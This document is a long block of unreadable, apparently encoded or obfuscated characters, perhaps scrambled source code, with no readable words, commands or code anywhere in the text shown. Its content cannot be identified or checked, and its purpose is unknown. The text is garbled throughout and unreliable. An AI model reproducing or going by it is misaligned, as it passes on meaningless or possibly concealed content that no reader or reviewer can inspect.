DDA]VW\IC^^MX_pAJW[p\LGJKZCJKUAXBU^X]YJ%FIDDA]VW\IC^^M		MMGCVDKC_KACFA[DDA]VW\IC^^MT%BYLDBB[DX^BY[]ZJ%FIUVBD\JJ@K[FH]MK@AMIL\oX_pZA\LGJKZCJpJYJA[FA[DDA]VW\IC^^MUAXBU^X]YJ%R%R%FIVY^E\WK[_		HVICNL[IHE		BYLDBB[DX^BYT%NJ\XGAIK@]_GFXpY^U_NV^MUHFXpY^U_NV^MUHFA[X_pAJW[p\LGJKZCJKUAXBU^X]YJ%FINJ\XGAIK@]_GSSNJ\XGAIK@]_GUVBD\JJ@K[T%oX_p\LGJKZCJp\FAHCJpJYJA[FXpY^U_NV^MUHUAXBU^X]YJ%%%R%%NBKLHCB@DIKBFpMAM%]J[Z]A%R%FIBYLDBB[DX^BY@DWMpK]LDZ\KNVCZFH]MK@AMIL\FXpY^U_NV^MUH%%%%FIUGLUEAGYXIT%FIVY^E\WK[_oX_p\LGJKZCJp\FAHCJpJYJA[MMGCVDKC_KACUAXBU^X]YJ%LKZ]^BWZL_[D@HMC%NBKLHCB@DIKBFpMAM%%]J[Z]A%R%FIUVBD\JJ@K[MMGCVDKC_KACoMMGCVDKC_KAC%%%Z]BMXCXX^_%RLN[LG{G]@XNMCJC[A_M[pT%@DWMpK]LDZ\KNVCZFH]MK@AMIL\C[A_M[p%RLN[LGjWLJ_[F@AC[A_M[pT%R%R%%IZAL[F@AWDAUVE[KN\VL%T%[]VT%FIFH]MK@AMIL\FXpY^U_NV^MUHT%]J[Z]ABLZJIUgpfa{pbnw gpfa{pbnwMp^JBNBLZJIU%R%%pM\UZXBDUVBD\JJ@K[FH]MK@AMIL\HJ[p[]NA\FJA[N\\]pHFUFD\^INC\J%FIUVBD\JJ@K[pM\UZXBDpM\UZXBDNGF\IApYK^]NDYWZMMGCVDKC_KACINC\J%FIFXpY^U_NV^MUHpM\UZXBDT%]J[Z]A%%%R%%FIF\\J[pM\UZXBDtFH]MK@AMIL\r		UVBD\JJ@K[pM\UZXBDtMMGCVDKC_KACrT% \[N[FLNKEBJ\\NHJ^ZJZJ %%hc`mnc|tFXpY^U_NV^MUHrUKKKUIBIUKFVHVpM\UZXBDtFXpY^U_NV^MUHr%R%%FIF\\J[pM\UZXBDtMMGCVDKC_KACr		MMGCVDKC_KACpM\UZXBDtMMGCVDKC_KACrT%%%%hc`mnc|tFH]MK@AMIL\rUKKKUIBIUKFVHVpM\UZXBDtMMGCVDKC_KACr%R%%FIF\\J[pM\UZXBDtUVBD\JJ@K[r		UVBD\JJ@K[pM\UZXBDtFH]MK@AMIL\rT%hc`mnc|tMMGCVDKC_KACrpM\UZXBDtMMGCVDKC_KACr%  FAL]JBJA[NCL@B_@\F[J%%R%FIF\\J[pM\UZXBDtFH]MK@AMIL\r		UVBD\JJ@K[pM\UZXBDtFH]MK@AMIL\r		UVBD\JJ@K[pM\UZXBDtUVBD\JJ@K[rWNWT%hc`mnc|tFXpY^U_NV^MUHrpM\UZXBDtUVBD\JJ@K[r%%%R%  \LGJKZCJAJH@[FN[@]I@]gIFMJ]\%%%FIF\\J[pM\UZXBDtMMGCVDKC_KACr		MMGCVDKC_KACpM\UZXBDtUVBD\JJ@K[r		FH]MK@AMIL\pM\UZXBDtFH]MK@AMIL\rT%hc`mnc|tFXpY^U_NV^MUHrpM\UZXBDtFXpY^U_NV^MUHrALUXBANWVWBIC\ALUXBA%R%RLN[LG{G]@XNMCJC[A_M[pT%@DWMpK]LDZ\KNVCZUVBD\JJ@K[C[A_M[p%RLN[LGjWLJ_[F@AC[A_M[pT%%%%R%R%%IZAL[F@ANKENEpELVpHGYA]J[%T%[]VT%FIMMGCVDKC_KACUVBD\JJ@K[SSUVBD\JJ@K[FH]MK@AMIL\]J[Z]A%%%FIFA[HJ[p@_[F@AUVBD\JJ@K[FH]MK@AMIL\]J[Z]A%FIFXpY^U_NV^MUHFH]MK@AMIL\		HJ[p[]NA\FJA[FH]MK@AMIL\]J[Z]A%%%JDGUGKNWZ_GFGMFZYEXHXZ]UADppWFXpY^U_NV^MUH%FIMMGCVDKC_KACJDGUGKNWZ_GFSSFH]MK@AMIL\JDGUGKNWZ_GFSSM]H]LVBMG^[JUJDGUGKNWZ_GFSSYUKA]KF^LpMLUMZJDGUGKNWZ_GFT[@L[UXCLY]MKCU[@L[U
%JDGUGKNWZ_GFINC\J%J]ANLKXZMBoFXpY^U_NV^MUH]\MJUBY%%%FIJ]ANLKXZMB		J]ANLKXZMB		J]ANLKXZMBT@ApZCE_GLgpfa{pbnw gpfa{pbnwE\V[HD\VF@ApZCE_GL%_ZND[XBBDBDJMoUVBD\JJ@K[]\MJUBY%FIFXpY^U_NV^MUH_ZND[XBBDBDJM		FH]MK@AMIL\_ZND[XBBDBDJM_ZND[XBBDBDJMEXpF\FZFGEDEJ_ZND[XBBDBDJM%FIMMGCVDKC_KAC_ZND[XBBDBDJM		M]H]LVBMG^[JU_ZND[XBBDBDJM		YUKA]KF^LpMLUMZ_ZND[XBBDBDJMT%  bJBLNLGJKNKN_[J]\FAHZCN]CFAJN][V_J%%EUpCCUU[VUN]KXADBYFXpY^U_NV^MUH_ZND[XBBDBDJMFH]MK@AMIL\%JDGUGKNWZ_GF_ZND[XBBDBDJM%R%R%%%FIJDGUGKNWZ_GFTWZGGUG\Y_gpbne`}pyj}|f`apDYCDK_WZGGUG\Y_%oZ_KN[Jp@_[F@AFXpY^U_NV^MUHUVBD\JJ@K[UVBD\JJ@K[%%%]J[Z]A%%%%R%%R%^KGYV[NN]]NV]\MJUBY%UJHDCYXMFVZpLN@AJ@YYVD\@G[A%KFFJZ@Z\ZGAJG\GN\^DZUJHDCYXMFVEMJBHZEEMWKWpFAGG@CLpEMJBHZEEM
%FIUVBD\JJ@K[KFFJZ@T%%I@]JNLGKFFJZ@N\BGAW]NT%FIUVBD\JJ@K[BGAW]NMMGCVDKC_KAC^KGYV[NtrUJHDCYXMFV BGAW]N%R%%%R%FIKJIFAJKMMGCVDKC_KAC		UVBD\JJ@K[MMGCVDKC_KACT%I@]JNLGN]]NVoMMGCVDKC_KACxpczhfapkf}FXpY^U_NV^MUHN\VUG[BHG\BMNV^KGYV[NtrVUG[BHG\BMNV%%%R%%%%^KGYV[NFXpY^U_NV^MUH^KGYV[N%ULJXBGZKKN]]NV%%%KpDpJHZMMGCVDKC_KACMMGCVDKC_KACUVBD\JJ@K[FXpY^U_NV^MUHJDGUGKNWZ_GFWWMK%I@]JNLG^KGYV[NN\ICMINUBAF]@T%GGBCCBVH[[J@oFXpY^U_NV^MUHICMINUBAF]@%%%FIGGBCCBVH[[J@SSGGBCCBVH[[J@L@A[FAZJ%JWDX[LUBKN_oMMGCVDKC_KACICMINUBAF]@INC\JAZCC%FIFXpY^U_NV^MUHJWDX[LUBKN_SSM]H]LVBMG^[JUJWDX[LUBKN_L@A[FAZJ%FIICMINUBAF]@]\MJUBY		FXpY^U_NV^MUHFXpY^U_NV^MUHUVBD\JJ@K[JWDX[LUBKN_KpDpJHZL@A[FAZJ%ULJXBGZKKtrICMINUBAF]@%R%FIULJXBGZKKT%FIUVBD\JJ@K[FXpY^U_NV^MUH\J[p[]NA\FJA[FXpY^U_NV^MUH%]J[Z]A%R%oZ_KN[Jp@_[F@AUVBD\JJ@K[UVBD\JJ@K[UVBD\JJ@K[%I@]JNLGULJXBGZKKN\KJ^B@NIBBM_T%^^[J]pC_EXZI\U\YFLJKJ^B@NIBBM_WW%FI\M^IMUZLAAY\WEFW_KJ^B@NIBBM_[IB^@@IDZVNJD@AXJDGUGKNWZ_GFT%AMAAWC@IZWDWACVKJ^B@NIBBM_%JECDKL[DCKJ^B@NIBBM_KY@LWgpfa{pbnw gpfa{pbnwLJE^EVNY]I]KJKY@LW%^^[J]pC_EXZI\U\YFLJKJ^B@NIBBM_%CNIDVG[IGpNKJ^B@NIBBM_%FIKJ^B@NIBBM_]\MJUBYT%%%%JUWWVAWYF]BX[]ZJ%W[N]CHE^U[^X\F[[]ZJ%R%RJC\JT%^^[J]pC_EXZI\U\YFLJKJ^B@NIBBM_%%%R%R%RLN[LG{G]@XNMCJC[A_M[pTMWBLN[DILSLL]LBVAMWBLN[DILq%%%@DWMpK]LDZ\KNVCZFH]MK@AMIL\C[A_M[p%RLN[LGjWLJ_[F@AC[A_M[pT%R%%R%IZAL[F@AFUEFG]C[CYK%%T%\[N[FLDXVMN]INC\J%FIDXVMN]]J[Z]A%DXVMN][]ZJ%[]VT%AVKF]XDB[XX@HKZ[[%%%NKENEpELVpHGYA]J[%%%%W[NFEBVXLXUK@\%%%%WDAUVE[KN\VL%%%%WW[VBJHYLBBCM@Y@%UCHB_KLZXXEUN@D[%CEE]NMCBXA]HCM^M%CDIYMLFH^LLL\%EVIDVUKWEHJ]_%FI_MUUpD]NCYZA[EGV@T%FIMMGCVDKC_KACMMGCVDKC_KAC		KFKpNL[F@AFXpY^U_NV^MUHT%FIFXpY^U_NV^MUHMMGCVDKC_KACMMGCVDKC_KACMMGCVDKC_KAC%RJC\JT%HVDC\YKUZYDMFH]MK@AMIL\MMGCVDKC_KAC%R%R%%RLN[LG{G]@XNMCJC[A_M[pTE_BNWBA_XXYgpfa{pbnw gpfa{pbnwMNG\[_@DJE_BNWBA_XXY%%%%RLN[LGjWLJ_[F@AC[A_M[pT%R%R%IZAL[F@ANBKLHCB@DIKBFpMAM%T%%[]VT%FIUVBD\JJ@K[UVBD\JJ@K[SSMMGCVDKC_KACFH]MK@AMIL\]J[Z]A%FIMMGCVDKC_KACFH]MK@AMIL\SSFXpY^U_NV^MUHMMGCVDKC_KAC]J[Z]A%M^KY^XW\E@ZJCFXpY^U_NV^MUH%FIM^KY^XW\E@ZJCFA[oHJ[p@_[F@AMMGCVDKC_KAC]J[Z]A%oZ_KN[Jp@_[F@AUVBD\JJ@K[M^KY^XW\E@ZJCFH]MK@AMIL\%%%oUVBD\JJ@K[G@BJpZ]C N]]NVFXpY^U_NV^MUHUVBD\JJ@K[INC\JFXpY^U_NV^MUHINC\J%%RLN[LG{G]@XNMCJC[A_M[pT%%RLN[LGjWLJ_[F@AC[A_M[pT%R%  ]@[N[J^Z@[FJA[I@]xyJ]\JmC@LD%%R%%%IZAL[F@A_MUUpD]NCYZA[EGV@%T%FIFH]MK@AMIL\MMGCVDKC_KACT%]J[Z]A[]ZJ%R%%FIFH]MK@AMIL\MMGCVDKC_KAC		HJ[p[]NA\FJA[N\\]pHFUFD\^T%%%]J[Z]AINC\JI[EWYHKWgpbne`}pyj}|f`aV@JUE^_FpUI[EWYHKW%R%%]B^W^YAFKEUUDGJW@^DFAFX^%NDXEEHCH__HBNGF\IApYK^]NDYWZFH]MK@AMIL\INC\J%FIFXpY^U_NV^MUHNDXEEHCH__HB		F\\J[NDXEEHCH__HBtFH]MK@AMIL\r		FA[NDXEEHCH__HBtFH]MK@AMIL\r		FA[NDXEEHCH__HBtMMGCVDKC_KACr]B^W^YAFKEUUDFA[NDXEEHCH__HBtFXpY^U_NV^MUHr%%%DBA]G][V@LUFA[HJ[p@_[F@AUVBD\JJ@K[%FIDBA]G][V@LU		MMGCVDKC_KACDBA]G][V@LU]B^W^YAFKEUUDT%]J[Z]AINC\J%R%%%%%MNIFD_XLpFA[HJ[p@_[F@AMMGCVDKC_KAC%FIMNIFD_XLpT%%KDEGU^]FFA[HJ[p@_[F@AUVBD\JJ@K[%KA\]pNCGUN]]NV%W@]U_AYEKA\]pNCGUtUVBD\JJ@K[FXpY^U_NV^MUHKDEGU^]Fr%%%W@]U_AYEUVBD\JJ@K[FA[W@]U_AYE%FIMMGCVDKC_KACMNIFD_XLpW@]U_AYET%  o\Z\_JAKGJN][MJN[%%]J[Z]AINC\J%R%R%%]J[Z]A[]ZJ%R%%IZAL[F@AG]NMULVIYB[YA%T%KDEGU^]FFA[HJ[p@_[F@AFXpY^U_NV^MUH%Z_KN[Jp@_[F@AMMGCVDKC_KACKDEGU^]F%Z_KN[Jp@_[F@AMMGCVDKC_KACMMGCVDKC_KAC%%R%%IZAL[F@AV[X\WY]ZA[J%%T%  xiJN[Z]JKfBNHJA@]BNC^Z@[FJA[%%J]AJG@CUN]]NV%[]VT%J]AJG@CUtFXpY^U_NV^MUHrXHMDNU[UXH@NANXI[%J]AJG@CUtFXpY^U_NV^MUHrgpyj}|f`a%J]AJG@CUtFXpY^U_NV^MUHrUVBD\JJ@K[%J]AJG@CUtFH]MK@AMIL\rUVBD\JJ@K[FXpY^U_NV^MUH		F\p\\C%J]AJG@CUtUVBD\JJ@K[rUVBD\JJ@K[MMGCVDKC_KAC		F\pBZC[F\F[J%%%J]AJG@CUtMMGCVDKC_KACrF\\J[hc`mnc|tFH]MK@AMIL\r\[]FAHhc`mnc|tFXpY^U_NV^MUHr%J]AJG@CUtMMGCVDKC_KACrF\\J[p|j}yj}tFH]MK@AMIL\rMMGCVDKC_KAC\[]FAHp|j}yj}tFH]MK@AMIL\r%%\JWYLUKWICF\\J[hc`mnc|tUVBD\JJ@K[r		MMGCVDKC_KAChc`mnc|tFH]MK@AMIL\rUVBD\JJ@K[hc`mnc|tFXpY^U_NV^MUHr%%%J]AJG@CUtFXpY^U_NV^MUHr\JWYLUKWIC%J]AJG@CUtFXpY^U_NV^MUHrFXpY^U_NV^MUH\JWYLUKWIC%J]AJG@CUtUVBD\JJ@K[rJB_[Vhc`mnc|tFXpY^U_NV^MUHr%%%%J]AJG@CUtUVBD\JJ@K[rJB_[Vhc`mnc|tFH]MK@AMIL\r%J]AJG@CUtMMGCVDKC_KACrUVBD\JJ@K[FH]MK@AMIL\FA[oHJ[p@_[F@AFXpY^U_NV^MUH%%J]AJG@CUtFH]MK@AMIL\r@KWNGU_GUAFpMMGCVDKC_KAC%J]AJG@CUtFXpY^U_NV^MUHrUVBD\JJ@K[FXpY^U_NV^MUHFA[oHJ[p@_[F@AFXpY^U_NV^MUH%J]AJG@CUtFH]MK@AMIL\rFH]MK@AMIL\FXpY^U_NV^MUHFA[oHJ[p@_[F@AFXpY^U_NV^MUH%J]AJG@CUtFH]MK@AMIL\rMMGCVDKC_KACMMGCVDKC_KACFA[oHJ[p@_[F@AUVBD\JJ@K[%YIHUKIZVK^W\ZBKLY[ZIN%J]AJG@CUtFXpY^U_NV^MUHroFH]MK@AMIL\YIHUKIFXpY^U_NV^MUHIFNND\AAK^YW[[YD\oMMGCVDKC_KACYIHUKIFXpY^U_NV^MUHINC\JAZCC%%%J]AJG@CUtFH]MK@AMIL\roUVBD\JJ@K[YIHUKIFH]MK@AMIL\IFNND\AAK^YW[[YD\oMMGCVDKC_KACYIHUKIUVBD\JJ@K[INC\JAZCC%J]AJG@CUtUVBD\JJ@K[roUVBD\JJ@K[YIHUKIFXpY^U_NV^MUHIFNND\AAK^YW[[YD\oUVBD\JJ@K[YIHUKIFXpY^U_NV^MUHINC\JAZCC%pM_V^_BMDCFKHDFH]MK@AMIL\@\J__MJJCW]ZGnm|n{gH%NNLJBUKpUHMMGCVDKC_KAC@\J__MJJCW]ZGnm|n{gH%J]AJG@CUtFH]MK@AMIL\r%I@]JNLGN]]NVXB[[I@V^YMAMHFYIHUKInm|n{gFXpY^U_NV^MUHN\CVYYMH]C\D[T%FIoMMGCVDKC_KACCVYYMH]C\D[ pM_V^_BMDCFKHDUVBD\JJ@K[J]AJG@CUtMMGCVDKC_KACr%FIoUVBD\JJ@K[CVYYMH]C\D[ NNLJBUKpUH		FA[oFXpY^U_NV^MUHCVYYMH]C\D[ NNLJBUKpUHMMGCVDKC_KACT%J]AJG@CUtMMGCVDKC_KACr%M]JND%%%R%R%ZA\J[NNLJBUKpUHCVYYMH]C\D[%]Y@@\p]pG@^ZFXpY^U_NV^MUHUVBD\JJ@K[oFXpY^U_NV^MUHMMGCVDKC_KACINC\J%FIFH]MK@AMIL\]Y@@\p]pG@^ZSS]Y@@\p]pG@^ZSS]Y@@\p]pG@^ZUVBD\JJ@K[]Y@@\p]pG@^ZFXpY^U_NV^MUH%J]AJG@CUtFH]MK@AMIL\roUVBD\JJ@K[nm|n{g]Y@@\p]pG@^Z		MMGCVDKC_KAC\[]FAHoUVBD\JJ@K[nm|n{g]Y@@\p]pG@^ZFXpY^U_NV^MUHINC\J%J]AJG@CUtUVBD\JJ@K[roFXpY^U_NV^MUHnm|n{gUVBD\JJ@K[		FXpY^U_NV^MUH\[]FAHoFXpY^U_NV^MUHnm|n{gMMGCVDKC_KACUVBD\JJ@K[INC\J%%%J]AJG@CUtUVBD\JJ@K[roFXpY^U_NV^MUHnm|n{gFH]MK@AMIL\		FH]MK@AMIL\\[]FAHoFXpY^U_NV^MUHnm|n{gUVBD\JJ@K[INC\JAZCCUVBD\JJ@K[INC\J%%%%J]AJG@CUtMMGCVDKC_KACrKJIFAJKFXpY^U_NV^MUH%J]AJG@CUtMMGCVDKC_KACrKJIFAJKUVBD\JJ@K[SSKJIFAJKFXpY^U_NV^MUHSSKJIFAJKFXpY^U_NV^MUHSSMMGCVDKC_KACFXpY^U_NV^MUHSSFH]MK@AMIL\FXpY^U_NV^MUHSSF\\J[hc`mnc|tMMGCVDKC_KACrSSMMGCVDKC_KACMMGCVDKC_KAC%J]AJG@CUtFH]MK@AMIL\rFA[HJ[p@_[F@AMMGCVDKC_KAC%J]AJG@CUtFH]MK@AMIL\rFA[HJ[p@_[F@AFH]MK@AMIL\%J]AJG@CUtFXpY^U_NV^MUHrFA[HJ[p@_[F@AFXpY^U_NV^MUH%%%LG^_C\EHGGMFZYEXHXZ]UADppWFH]MK@AMIL\N]]NVC]IFJ[[L]EIWEMA[VC]IFJ[[LC]IFJ[[LC]IFJ[[L%%VM^F%%ZIMZNJUpLVF%FIMMGCVDKC_KACLG^_C\EHGT%%%%I@]JNLGLG^_C\EHGN\BGAW]NT%%%FIApVULZNK^KLIAKBGAW]NL@A[FAZJ%%VM^F%%@N\V\VFH]MK@AMIL\BGAW]NFA[F\\J[BGAW]NtMMGCVDKC_KACrBGAW]NtFXpY^U_NV^MUHr%_VZUpIM[MWXFH]MK@AMIL\BGAW]N		F\\J[BGAW]NtMMGCVDKC_KACrFA[BGAW]NtFH]MK@AMIL\r%FI@N\V\V		_VZUpIM[MWXSS_VZUpIM[MWXMMGCVDKC_KACZIMZNJUpLVF%%%%R%R%J]AJG@CUtUVBD\JJ@K[rVM^F%%J]AJG@CUtFXpY^U_NV^MUHrZIMZNJUpLVF%MZ]]C^XILMMGCVDKC_KACMMGCVDKC_KACoHJ[p@_[F@AFH]MK@AMIL\%J]AJG@CUtMMGCVDKC_KACrUVBD\JJ@K[MZ]]C^XILFXpY^U_NV^MUHMZ]]C^XILq%GpZIHWM\UVBD\JJ@K[FH]MK@AMIL\oHJ[p@_[F@AFXpY^U_NV^MUHN]]NVN]]NV%J]AJG@CUtFXpY^U_NV^MUHrUVBD\JJ@K[GpZIHWM\		JB_[VGpZIHWM\t[rSSJB_[VGpZIHWM\tUVBD\JJ@K[r%RLN[LG{G]@XNMCJC[A_M[pT%J]AJG@CUtUVBD\JJ@K[rFH]MK@AMIL\C[A_M[pHJ[bJ\\NHJ%RLN[LGjWLJ_[F@AC[A_M[pT%%%%J]AJG@CUtFH]MK@AMIL\rFXpY^U_NV^MUHC[A_M[pHJ[bJ\\NHJWW%R%%%]J[Z]AJ]AJG@CU%R%%IZAL[F@ABp^E_[UWG[]VD]K[%T%FIFH]MK@AMIL\FXpY^U_NV^MUHT%]J[Z]A\[]FAH\F[JpZ]CFH]MK@AMIL\%R%]J[Z]AFXpY^U_NV^MUHFXpY^U_NV^MUH\[]FAHX_pC@HFApZ]C%R%%%IZAL[F@AXHUL_\YVJD@^MIAYADFppM%T%U]KNBNFAUZ^@C%FIFXpY^U_NV^MUHFXpY^U_NV^MUHT%  \AN_\G@[F\@CN[JK\LGJKZCJ]%%U]KNBNFAUZ^@C\[]FAHUVBD\JJ@K[G@BJpZ]CL@A\[NA[FH]MK@AMIL\%R%FIU]KNBNFAUZ^@C		FXpY^U_NV^MUHFXpY^U_NV^MUHT%U]KNBNFAUZ^@C\[]FAHFH]MK@AMIL\HJ[p\F[JpZ]CL@A\[NA[FH]MK@AMIL\%R%FIU]KNBNFAUZ^@C		UVBD\JJ@K[FXpY^U_NV^MUHT%U]KNBNFAUZ^@C\[]FAHUVBD\JJ@K[HJ[pMC@HFAI@UVBD\JJ@K[L@A\[NA[FXpY^U_NV^MUH%R%FIU]KNBNFAUZ^@C		FH]MK@AMIL\UVBD\JJ@K[T%U]KNBNFAUZ^@C\[]FAHFH]MK@AMIL\\[]FAHHJ[p@_[F@AFXpY^U_NV^MUHL@A\[NA[MMGCVDKC_KAC%R%FIU]KNBNFAUZ^@C		F\\J[p|j}yj}tMMGCVDKC_KACrT%%U]KNBNFAUZ^@C\[]FAHp|j}yj}tMMGCVDKC_KACr%R%%%FIU]KNBNFAUZ^@C		F\\J[p|j}yj}tFH]MK@AMIL\rT%U]KNBNFAUZ^@C\[]FAHp|j}yj}tMMGCVDKC_KACr%R%FIU]KNBNFAUZ^@CT%  x{NMCJmC@LDLNZ\NCBFKKCJXN]J%%]J[Z]AAYADFppM%R%]J[Z]AU]KNBNFAUZ^@C%R%IZAL[F@AZ]BMXCXX^_%T%[]VT% _@CVA@BFNC\[NMFCFUJ] %%%%W\GYUEK_DA^UVBD\JJ@K[FH]MK@AMIL\FA[oFH]MK@AMIL\FXpY^U_NV^MUH%FIFH]MK@AMIL\FH]MK@AMIL\oMMGCVDKC_KAC%[\GEZWDVNYZEW\GYUEK_DA^WJW		W\GYUEK_DA^W\GYUEK_DA^W\GYUEK_DA^		W\GYUEK_DA^qWW%FI_MUUpD]NCYZA[EGV@T%]J[Z]A%%%R%%%%FILBFEWKCIBAXFXpY^U_NV^MUHT%]J[Z]A%%R%%@KFWW@Up^MMGCVDKC_KAC[]ZJ%%%]FYE]UXCXZJGKYV_D[XNYDKY%FI%UVBD\JJ@K[]FYE]UXCXZJ%SSF\\J[]FYE]UXCXZJtFH]MK@AMIL\rSSFH]MK@AMIL\]FYE]UXCXZJtFH]MK@AMIL\rSS]FYE]UXCXZJtFH]MK@AMIL\r%SSF\\J[]FYE]UXCXZJtMMGCVDKC_KACrSSUVBD\JJ@K[]FYE]UXCXZJtMMGCVDKC_KACrSSJB_[V]FYE]UXCXZJtMMGCVDKC_KACr%T%%%%G]NMULVIYB[YA%]J[Z]A%R%]GB@\Vp_@\K]FYE]UXCXZJtFXpY^U_NV^MUHr%^GCD]FYE]UXCXZJtFH]MK@AMIL\r%EUpCCUU[VUN]KXADBYFH]MK@AMIL\]GB@\Vp_@\KUVBD\JJ@K[%%%%GMFYW[\^MMGCVDKC_KACFXpY^U_NV^MUH\[]FAHHJ[p@_[F@AFH]MK@AMIL\YMMWJWWVMV[GKYMMWJWW
%FIGMFYW[\^		FH]MK@AMIL\GMFYW[\^^GCD[]ZJT%^GCDFXpY^U_NV^MUHUVBD\JJ@K[^GCDN]]NVGMFYW[\^%UVBD\JJ@K[^GCD%FXpY^U_NV^MUH^GCDGMFYW[\^%RJC\JFIMMGCVDKC_KAC^GCDT%MMGCVDKC_KAC^GCD%R% \[]JNBFAH\ZM\[F[Z[F@ABN_ %%%FIMMGCVDKC_KAC[]ZJ@KFWW@Up^FA[[\GEZWDVNYZET%  \\NL@AYJ][\[NMFCFUJ]I@]x}JKZW|[@]J%%G]NMULVIYB[YA%]J[Z]A%%R%%VCAXBAEZMXKpBDWEHZ^GG%XKEDBJVJCFIHVCAXBAEZMXK%%%%%ZJZIGJ[^N]]NV%%%%FIUVBD\JJ@K[MMGCVDKC_KACT%I@]JNLGN]]NVHJ[p@_[F@AFXpY^U_NV^MUHN]]NVN\ICMINUBAF]@T%%%%FIMMGCVDKC_KACICMINUBAF]@		ICMINUBAF]@T%ZJZIGJ[^trICMINUBAF]@%R%R%R%  gBN[LGJW_]J\\F@ALZMFLLGNFA%%%_B\UMVGLW[GN]]NV%FIKJIFAJKFXpY^U_NV^MUHT%B@\LWGMMGCVDKC_KACFH]MK@AMIL\oMMGCVDKC_KACFH]MK@AMIL\xbzpczhfapkf} FH]MK@AMIL\INC\J%FIFH]MK@AMIL\B@\LWGT%I@]JNLGB@\LWGN\KJ^B@NIBBM_T%_B\UMVGLW[GtrFXpY^U_NV^MUHKJ^B@NIBBM_%R%  _]@_NHN[JL@AAJL[JKMC@@BIFC[J]%%%%%R%R%%\MJBMDC^LEN]]NV%%%%FXpY^U_NV^MUHXHUL_\YVJD@^MI%UVBD\JJ@K[XHMDNU[UXH@NANXI[%FH]MK@AMIL\FH]MK@AMIL\]\MJUBYUVBD\JJ@K[%FXpY^U_NV^MUHFH]MK@AMIL\nm|n{gUVBD\JJ@K[%UVBD\JJ@K[ZJZIGJ[^%FH]MK@AMIL\_B\UMVGLW[G%UVBD\JJ@K[Bp^E_[UWG[]VD]K[%FXpY^U_NV^MUHEDXZJBpIp^p]UMENVCAXBAEZMXK%%%%FXpY^U_NV^MUHApM[KCZWZD@WUJYVCAXBAEZMXK%MMGCVDKC_KAC@X_LAX]AEKAWH^]K[A\GA]U[HCBJW%%%%%%WEM\D[KLGFH]MK@AMIL\MMGCVDKC_KACX_pE\@ApJAL@KJ\MJBMDC^LEUVBD\JJ@K[\MJBMDC^LE%AY[IYZV@CAH^XAUU\^UXM\GGVWJJFpWEM\D[KLG]GB@\Vp_@\K%C[XEDLN]]NVMMGCVDKC_KACFXpY^U_NV^MUH%%%%pHBBWGHWGE[X@AZCC%%%%G]NMULVIYB[YA%%I@]JNLG^GCDN\EBEL_KHIT%%FIFXpY^U_NV^MUH[]ZJ@KFWW@Up^[\GEZWDVNYZET%M]JND%%R%%EBEL_KHIFXpY^U_NV^MUH\[]FAHEBEL_KHI%%FIEBEL_KHIT%L@A[FAZJ%R%[]VT%  L@A\FKJ]FACFAFAH%%%%%FJEX[E^]GB@\Vp_@\K%%%%WGWB@AUYXH^B]Y[KH@YLEBEL_KHIAY[IYZV@CAH^XAC[XEDLqIZAL[F@A[Y[_GCK\MZ\JFJEX[E^T%J]AJG@CUUU\^UXM\GGVWJJFp[Y[_GCK\MFJEX[E^%%FIJ]AJG@CU]J[Z]AINC\J%]J[Z]AMMGCVDKC_KACoFH]MK@AMIL\FH]MK@AMIL\J]AJG@CU[]ZJ%R%FIWGWB@AUYXH^B]T%@DWMpK]LDZ\KNVCZUVBD\JJ@K[UVBD\JJ@K[EBEL_KHI%L@A[FAZJ%R%  |}BJ\\NHJ\MJALGBN]DF[J]N[@]%%%%BVD__J[AUU\^UXM\GGVWJJFpWGWB@AUYXH^B]]GB@\Vp_@\K%FIBVD__J[AT%@DWMpK]LDZ\KNVCZFH]MK@AMIL\UVBD\JJ@K[EBEL_KHI%L@A[FAZJ%R%pHBBWGHWGE[X@oFXpY^U_NV^MUHUVBD\JJ@K[BVD__J[A[]ZJ%%%%FIMMGCVDKC_KACpHBBWGHWGE[X@T%%FIFXpY^U_NV^MUHFXpY^U_NV^MUHT%  x}FLG{JW[nf@_[F@A]@X%%%Z_KN[Jp@_[F@AFH]MK@AMIL\EBEL_KHI%R%M]JND%RJC\JT%@DWMpK]LDZ\KNVCZFXpY^U_NV^MUHMMGCVDKC_KACEBEL_KHI%R%RLN[LG{G]@XNMCJC[A_M[pT%@DWMpK]LDZ\KNVCZFXpY^U_NV^MUHC[A_M[p%L@A[FAZJ%RLN[LGjWLJ_[F@AC[A_M[pT%L@A[FAZJ%R%%R%FIMMGCVDKC_KACpHBBWGHWGE[X@T%YXF_[CEN]MUU\^UXM\GGVWJJFpFH]MK@AMIL\N]]NV%UVBD\JJ@K[XHUL_\YVJD@^MI%FXpY^U_NV^MUHXHMDNU[UXH@NANXI[%%FH]MK@AMIL\FXpY^U_NV^MUH]\MJUBYFXpY^U_NV^MUH%%FH]MK@AMIL\%%]GB@\Vp_@\K%LYF]DCIHpYFH]MK@AMIL\\[][]MMGCVDKC_KACYXF_[CEN]MUVBD\JJ@K[MMGCVDKC_KAC%JHDU[^BWFKNFH]MK@AMIL\LYF]DCIHpY%I@]JNLG^GCDN\EBEL_KHIT%%FIFH]MK@AMIL\[]ZJ@KFWW@Up^[\GEZWDVNYZET%M]JND%R%EBEL_KHIFH]MK@AMIL\\[]FAHEBEL_KHIL^DF_gpfa{pbnw gpfa{pbnwCGp_UDKZ_BL^DF_%FIEBEL_KHIT%  oB@A@B@]_GFUJZAFIFLN[F@A%%L@A[FAZJ%R%D\GDB\\X@\J__MJJCW]ZGXHUL_\YVJD@^MIFXpY^U_NV^MUH[]ZJ%%BEB]J\FDMHZYFXpY^U_NV^MUHJHDU[^BWFKN%HC\F^NFWFXpY^U_NV^MUHEBEL_KHIINC\J	%I@][DY^GJF[DY^GJFBEB]J\FDMHZY[DY^GJFT%%%FIMMGCVDKC_KAC[]ZJ@KFWW@Up^[\GEZWDVNYZET%M]JND%R%^ZYW]YAUBDB[DY^GJFBEB]J\FDMHZY%GXD]^MGXD[UEBEL_KHIHC\F^NFWFXpY^U_NV^MUHD\GDB\\XUVBD\JJ@K[[DY^GJFFH]MK@AMIL\BEB]J\FDMHZYFH]MK@AMIL\JHDU[^BWFKNt[DY^GJFr%FMZ\K\]\^pM@]_UNF_GXD]^MGXD[U^ZYW]YAUBDBIZAL[F@A[Y[_GCK\MZ\J]GB@\Vp_@\KT%J]AJG@CUUU\^UXM\GGVWJJFp[Y[_GCK\M]GB@\Vp_@\K%%FIJ]AJG@CU]J[Z]AINC\J%]J[Z]AFXpY^U_NV^MUHoUVBD\JJ@K[MMGCVDKC_KACJ]AJG@CU[]ZJ%RAZCC%FI^ZYW]YAUBDB		FXpY^U_NV^MUHFMZ\K		FMZ\KT%pHKUU\^UXM\GGVWJJFpF